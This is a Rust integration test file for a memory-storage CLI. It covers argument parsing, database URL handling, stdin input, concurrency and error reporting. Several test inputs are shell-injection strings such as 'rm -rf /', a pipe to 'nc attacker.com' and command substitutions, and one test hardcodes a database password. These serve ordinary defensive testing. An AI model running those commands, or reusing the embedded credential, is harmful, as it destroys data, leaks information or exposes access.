use crate::common::{build_test_db_url_with_db, TestDatabaseManager};
use anyhow::Result;
use std::io::Write;
use std::process::Command;
#[tokio::test]
async fn test_cli_argument_parsing() -> Result<()> {
let _manager = TestDatabaseManager::new()?;
println!("Testing CLI argument parsing edge cases...");
let test_cases = vec![
(vec!["--help"], "help flag", true),
(vec!["--version"], "version flag", true),
(vec![], "no arguments", true),
(vec!["--unknown-flag"], "unknown flag", false),
(vec!["-x"], "unknown short flag", false),
(vec!["--help", "--version"], "multiple flags", true),
(vec!["-h"], "short help flag", true),
(vec!["-V"], "short version flag", true),
(vec!["setup"], "setup action", true),
(
vec![
"store",
"--context",
"test",
"--summary",
"test",
"test content",
],
"store action",
true,
),
(vec!["search", "query"], "search action", true),
(vec!["stats"], "stats action", true),
(vec!["invalid-action"], "invalid action", false),
(vec![""], "empty action", false),
(
vec!["store", "content with spaces"],
"spaces in content",
true,
),
(
vec!["store", "content'with'quotes"],
"quotes in content",
true,
),
(
vec!["store", r#"content"with"double"quotes"#],
"double quotes",
true,
),
(
vec!["store", "content\nwith\nnewlines"],
"newlines in content",
true,
),
(
vec!["store", "content\twith\ttabs"],
"tabs in content",
true,
),
(
vec!["store", "content with 🎉 emojis"],
"emoji content",
true,
),
(vec!["store", "中文内容"], "chinese content", true),
(vec!["store", "العربية"], "arabic content", true),
(vec!["store", "A-long-content"], "very long content", true),
(
vec!["store", "B-extremely-long-content"],
"extremely long content",
true,
),
(vec!["store", "\x00\x01\x02\x03"], "binary content", false),
(vec!["store", "content\0with\0nulls"], "null bytes", false),
(
vec!["store", "content", "--context", "test context"],
"with context",
true,
),
(
vec!["store", "content", "--summary", "test summary"],
"with summary",
true,
),
(
vec!["store", "content", "--tags", "tag1,tag2"],
"with tags",
true,
),
(
vec![
"store",
"content",
"--context",
"ctx",
"--summary",
"sum",
"--tags",
"t1,t2",
],
"all flags",
true,
),
(
vec!["--context", "ctx", "store", "content"],
"flags before action",
true,
),
(
vec!["store", "--context", "ctx", "content"],
"flags between action and content",
true,
),
(
vec!["store", "content", "--context", "ctx", "--extra-unknown"],
"unknown flag mixed in",
false,
),
(
vec!["store", "content", "--context", ""],
"empty context",
true,
),
(vec!["store", "content", "--tags", ""], "empty tags", true),
(
vec!["store", "content", "--context"],
"missing context value",
false,
),
(
vec!["store", "content", "--tags"],
"missing tags value",
false,
),
(
vec!["store", "content", "--context", "ctx1", "--context", "ctx2"],
"duplicate context",
true,
),
(
vec!["store", "content", "--tags", "tag1", "--tags", "tag2"],
"duplicate tags",
true,
),
(
vec!["store", "content; echo hello"],
"shell injection attempt",
true,
),
(
vec!["store", "content && rm -rf /"],
"shell command chaining",
true,
),
(
vec!["store", "content | nc attacker.com"],
"pipe command",
true,
),
(vec!["store", "`whoami`"], "command substitution", true),
(vec!["store", "$(id)"], "command substitution 2", true),
];
for (args, description, should_succeed) in test_cases {
println!("Testing: {} - {:?}", description, args);
let mut cmd = Command::new("cargo");
cmd.args(["run", "--bin", "codex-memory", "--"]);
cmd.args(&args);
cmd.env(
"DATABASE_URL",
std::env::var("TEST_DATABASE_URL").expect("TEST_DATABASE_URL must be set"),
);
let output = cmd.output();
match output {
Ok(result) => {
let _stdout = String::from_utf8_lossy(&result.stdout);
let stderr = String::from_utf8_lossy(&result.stderr);
if should_succeed {
if result.status.success() {
println!(" ✅ {} succeeded as expected", description);
} else {
println!(" ⚠️ {} failed unexpectedly", description);
println!(
" stdout: {}",
_stdout.chars().take(200).collect::<String>()
);
println!(
" stderr: {}",
stderr.chars().take(200).collect::<String>()
);
}
} else if !result.status.success() {
println!(" ✅ {} failed as expected", description);
} else {
println!(" ⚠️ {} succeeded unexpectedly", description);
println!(
" stdout: {}",
_stdout.chars().take(200).collect::<String>()
);
}
if stderr.contains("panic")
|| stderr.contains("SIGABRT")
|| stderr.contains("SIGSEGV")
{
println!(" ❌ {} caused panic/crash!", description);
println!(" stderr: {}", stderr);
}
}
Err(e) => {
println!(" ❌ Failed to execute command for {}: {}", description, e);
}
}
}
println!("✅ CLI argument parsing tests completed");
Ok(())
}
#[tokio::test]
async fn test_cli_environment_handling() -> Result<()> {
let _manager = TestDatabaseManager::new()?;
println!("Testing CLI environment variable handling...");
let database_url_tests = vec![
(
"postgresql://user:pass@localhost:5432/db",
"standard URL",
true,
),
(
"postgres://user:pass@localhost:5432/db",
"postgres scheme",
true,
),
("", "empty URL", false),
("not-a-url", "invalid format", false),
("http://not-postgres.com", "wrong protocol", false),
("postgresql://", "incomplete URL", false),
("postgresql://user@localhost", "missing database", false),
(
"postgresql://user:p@ss%20word@localhost:5432/db",
"URL encoded password",
true,
),
(
"postgresql://us%40er:pass@localhost:5432/db",
"URL encoded username",
true,
),
(
"postgresql://user:pass@nonexistent-host:5432/db",
"non-existent host",
false,
),
(
"postgresql://user:pass@192.168.255.255:5432/db",
"unreachable IP",
false,
),
(
"postgresql://user:pass@localhost:99999/db",
"invalid port",
false,
),
(
"postgresql://user:pass@localhost:not-a-port/db",
"non-numeric port",
false,
),
];
for (database_url, description, should_succeed) in database_url_tests {
println!("Testing DATABASE_URL: {} - {}", description, database_url);
let mut cmd = Command::new("cargo");
cmd.args(["run", "--bin", "codex-store", "--", "stats"]);
cmd.env("DATABASE_URL", database_url);
let output = cmd.output();
match output {
Ok(result) => {
let stderr = String::from_utf8_lossy(&result.stderr);
if should_succeed {
if stderr.contains("panic") || stderr.contains("SIGABRT") {
println!(" ❌ {} caused panic!", description);
} else {
println!(" ✅ {} handled gracefully", description);
}
} else if result.status.success() {
println!(" ⚠️ {} succeeded unexpectedly", description);
} else if stderr.contains("panic") || stderr.contains("SIGABRT") {
println!(" ❌ {} caused panic!", description);
} else {
println!(" ✅ {} failed gracefully as expected", description);
}
}
Err(e) => {
println!(" ❌ Failed to execute command: {}", e);
}
}
}
println!("Testing missing environment variables...");
let mut cmd = Command::new("cargo");
cmd.args(["run", "--bin", "codex-store", "--", "stats"]);
cmd.env_remove("DATABASE_URL");
let output = cmd.output();
match output {
Ok(result) => {
if result.status.success() {
println!(" ⚠️ Missing DATABASE_URL succeeded (using defaults?)");
} else {
let stderr = String::from_utf8_lossy(&result.stderr);
if stderr.contains("DATABASE_URL") {
println!(" ✅ Missing DATABASE_URL handled with appropriate error");
} else if stderr.contains("panic") {
println!(" ❌ Missing DATABASE_URL caused panic!");
} else {
println!(" ✅ Missing DATABASE_URL failed gracefully");
}
}
}
Err(e) => {
println!(" ❌ Failed to test missing DATABASE_URL: {}", e);
}
}
println!("✅ CLI environment handling tests completed");
Ok(())
}
#[tokio::test]
async fn test_cli_input_output_handling() -> Result<()> {
let _manager = TestDatabaseManager::new()?;
println!("Testing CLI input/output handling...");
let large_input = "A".repeat(100000);
let long_lines = "X".repeat(10000);
let stdin_tests = vec![
("Hello from stdin", "normal stdin input", true),
("", "empty stdin", true),
(large_input.as_str(), "large stdin input", true),
("\x00\x01\x02\x03", "binary stdin", false),
("Hello 世界 🎉", "unicode stdin", true),
("Line 1\nLine 2\nLine 3", "multiline stdin", true),
(
"Content with 'quotes' and \"double quotes\"",
"quoted stdin",
true,
),
(long_lines.as_str(), "long lines", true),
];
for (input, description, should_succeed) in stdin_tests {
println!("Testing stdin: {}", description);
let mut cmd = Command::new("cargo");
cmd.args(["run", "--bin", "codex-store", "--", "store", "-"]); cmd.env(
"DATABASE_URL",
std::env::var("TEST_DATABASE_URL").expect("TEST_DATABASE_URL must be set"),
);
let mut child = match cmd
.stdin(std::process::Stdio::piped())
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()
{
Ok(child) => child,
Err(e) => {
println!(" ❌ Failed to spawn process: {}", e);
continue;
}
};
if let Some(stdin) = child.stdin.take() {
let mut stdin_handle = stdin;
if let Err(e) = stdin_handle.write_all(input.as_bytes()) {
println!(" ⚠️ Failed to write to stdin: {}", e);
}
drop(stdin_handle); }
let output = child.wait_with_output();
match output {
Ok(result) => {
let _stdout = String::from_utf8_lossy(&result.stdout);
let stderr = String::from_utf8_lossy(&result.stderr);
if should_succeed {
if result.status.success() {
println!(" ✅ {} processed successfully", description);
} else if stderr.contains("panic") {
println!(" ❌ {} caused panic!", description);
} else {
println!(
" ⚠️ {} failed: {}",
description,
stderr.chars().take(100).collect::<String>()
);
}
} else if result.status.success() {
println!(" ⚠️ {} succeeded unexpectedly", description);
} else if stderr.contains("panic") {
println!(" ❌ {} caused panic!", description);
} else {
println!(" ✅ {} failed gracefully", description);
}
}
Err(e) => {
println!(" ❌ Failed to get output: {}", e);
}
}
}
println!("✅ CLI input/output handling tests completed");
Ok(())
}
#[tokio::test]
async fn test_cli_signal_handling() -> Result<()> {
let _manager = TestDatabaseManager::new()?;
println!("Testing CLI signal handling...");
let mut cmd = Command::new("cargo");
cmd.args([
"run",
"--bin",
"codex-memory",
"--",
"store",
"long running operation test",
]);
cmd.env(
"DATABASE_URL",
"postgresql://codex_user:MZSfXiLr5uR3QYbRwv2vTzi22SvFkj4a@localhost:5432/codex_db",
);
let mut child = match cmd.spawn() {
Ok(child) => child,
Err(e) => {
println!(" ❌ Failed to spawn long-running process: {}", e);
return Ok(());
}
};
tokio::time::sleep(std::time::Duration::from_millis(100)).await;
println!("Testing SIGTERM handling...");
#[cfg(unix)]
{
let _ = child.kill();
let _ = child.wait();
println!(" ✅ Process terminated");
}
#[cfg(not(unix))]
{
println!(" ⚠️ SIGTERM test skipped on non-Unix system");
let _ = child.kill();
let _ = child.wait();
}
println!("✅ CLI signal handling tests completed");
Ok(())
}
#[tokio::test]
async fn test_cli_concurrent_execution() -> Result<()> {
let _manager = TestDatabaseManager::new()?;
println!("Testing CLI concurrent execution...");
let concurrent_count = 10;
let mut handles = vec![];
for i in 0..concurrent_count {
let handle = tokio::spawn(async move {
let mut cmd = Command::new("cargo");
cmd.args([
"run",
"--bin",
"codex-memory",
"--",
"store",
"--context",
&format!("Test context {}", i),
"--summary",
&format!("Test summary {}", i),
&format!("Concurrent execution test {}", i),
]);
cmd.env(
"DATABASE_URL",
std::env::var("TEST_DATABASE_URL").expect("TEST_DATABASE_URL must be set"),
);
let start = std::time::Instant::now();
let result = cmd.output();
let duration = start.elapsed();
(i, result, duration)
});
handles.push(handle);
}
let mut successes = 0;
let mut failures = 0;
let mut total_duration = std::time::Duration::from_secs(0);
for handle in handles {
match handle.await {
Ok((i, Ok(output), duration)) => {
total_duration += duration;
if output.status.success() {
successes += 1;
println!(
" ✅ Concurrent execution {} succeeded in {:?}",
i, duration
);
} else {
failures += 1;
let stderr = String::from_utf8_lossy(&output.stderr);
println!(
" ❌ Concurrent execution {} failed: {}",
i,
stderr.chars().take(100).collect::<String>()
);
}
}
Ok((i, Err(e), duration)) => {
total_duration += duration;
failures += 1;
println!(" ❌ Concurrent execution {} command failed: {}", i, e);
}
Err(e) => {
failures += 1;
println!(" ❌ Concurrent execution task failed: {}", e);
}
}
}
let avg_duration = total_duration / concurrent_count;
println!("Concurrent execution results:");
println!(" Successes: {}/{}", successes, concurrent_count);
println!(" Failures: {}", failures);
println!(" Average duration: {:?}", avg_duration);
assert!(
successes >= (concurrent_count * 70 / 100),
"At least 70% of concurrent executions should succeed"
);
println!("✅ CLI concurrent execution tests completed");
Ok(())
}
#[tokio::test]
async fn test_cli_error_reporting() -> Result<()> {
let _manager = TestDatabaseManager::new()?;
println!("Testing CLI error reporting...");
let wrong_db_url = build_test_db_url_with_db("/wrong_db_name");
let empty_url = String::new();
let error_tests = vec![
(vec!["stats"], &wrong_db_url, "connection error"),
(vec!["invalid-action"], &empty_url, "invalid action error"),
(vec!["store"], &empty_url, "missing content error"),
(vec!["search"], &empty_url, "missing query error"),
(vec!["setup"], &empty_url, "setup permission error"),
];
for (args, db_url, error_type) in error_tests {
println!("Testing error reporting: {}", error_type);
let mut cmd = Command::new("cargo");
cmd.args(["run", "--bin", "codex-memory", "--"]);
cmd.args(&args);
if !db_url.is_empty() {
cmd.env("DATABASE_URL", db_url);
} else {
cmd.env(
"DATABASE_URL",
std::env::var("TEST_DATABASE_URL").expect("TEST_DATABASE_URL must be set"),
);
}
let output = cmd.output();
match output {
Ok(result) => {
let _stdout = String::from_utf8_lossy(&result.stdout);
let stderr = String::from_utf8_lossy(&result.stderr);
if result.status.success() {
println!(" ⚠️ {} succeeded unexpectedly", error_type);
} else {
let error_output = format!("{}{}", _stdout, stderr).to_lowercase();
let has_helpful_error = error_output.contains("error")
|| error_output.contains("failed")
|| error_output.contains("invalid")
|| error_output.contains("missing")
|| error_output.contains("connection");
if has_helpful_error && !error_output.contains("panic") {
println!(" ✅ {} reported helpful error", error_type);
} else if error_output.contains("panic") {
println!(" ❌ {} caused panic instead of helpful error!", error_type);
} else {
println!(" ⚠️ {} error message could be more helpful", error_type);
println!(
" Error: {}",
error_output.chars().take(200).collect::<String>()
);
}
}
}
Err(e) => {
println!(" ❌ Failed to test {}: {}", error_type, e);
}
}
}
println!("✅ CLI error reporting tests completed");
Ok(())
}